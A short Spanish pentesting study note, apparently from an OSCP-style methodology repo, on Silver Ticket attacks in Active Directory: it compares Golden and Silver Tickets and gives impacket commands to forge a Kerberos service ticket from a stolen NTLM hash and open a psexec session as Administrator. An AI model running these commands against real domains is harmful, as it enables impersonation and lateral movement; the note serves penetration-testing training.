7e06ce46cf
El repo trae ahora ~73 docs de metodologia de pentesting (estilo OSCP, scrubeados de datos personales) que indexa.py indexa: un clon recien hecho ya sabe de enumeracion, explotacion web, shells, privesc, Active Directory, cracking... con los comandos, sin ningun dato privado. docs/rag.md lo refleja.
1 KiB
1 KiB
Silver Ticket
Forjas un TGS para un servicio concreto usando el hash NTLM de esa cuenta de servicio (no del krbtgt). Más sigiloso que el Golden Ticket: no habla con el DC. Fuente: oscp.trastero.org/activedirectory.
Golden vs Silver
Golden Ticket → hash de krbtgt → TGT → CUALQUIER servicio del dominio (todopoderoso)
Silver Ticket → hash del servicio (ej. cuenta del SQL/CIFS) → TGS → SOLO ese servicio
El Silver no toca el KDC → casi indetectable, pero limitado al servicio.
Forjar
impacket-ticketer -nthash <HASH_SERVICIO> -domain-sid S-1-5-21-... \
-domain corp.local -spn cifs/server.corp.local Administrator
export KRB5CCNAME=Administrator.ccache
impacket-psexec -k -no-pass corp.local/Administrator@server.corp.local
- El hash del servicio sale de Mimikatz / secretsdump (la cuenta de máquina o de servicio).
-spndefine a qué servicio aplica (cifs/,mssql/,http/,host/...).
Relacionado: Golden Ticket · Kerberos · Pass-the-Hash · OSCP MOC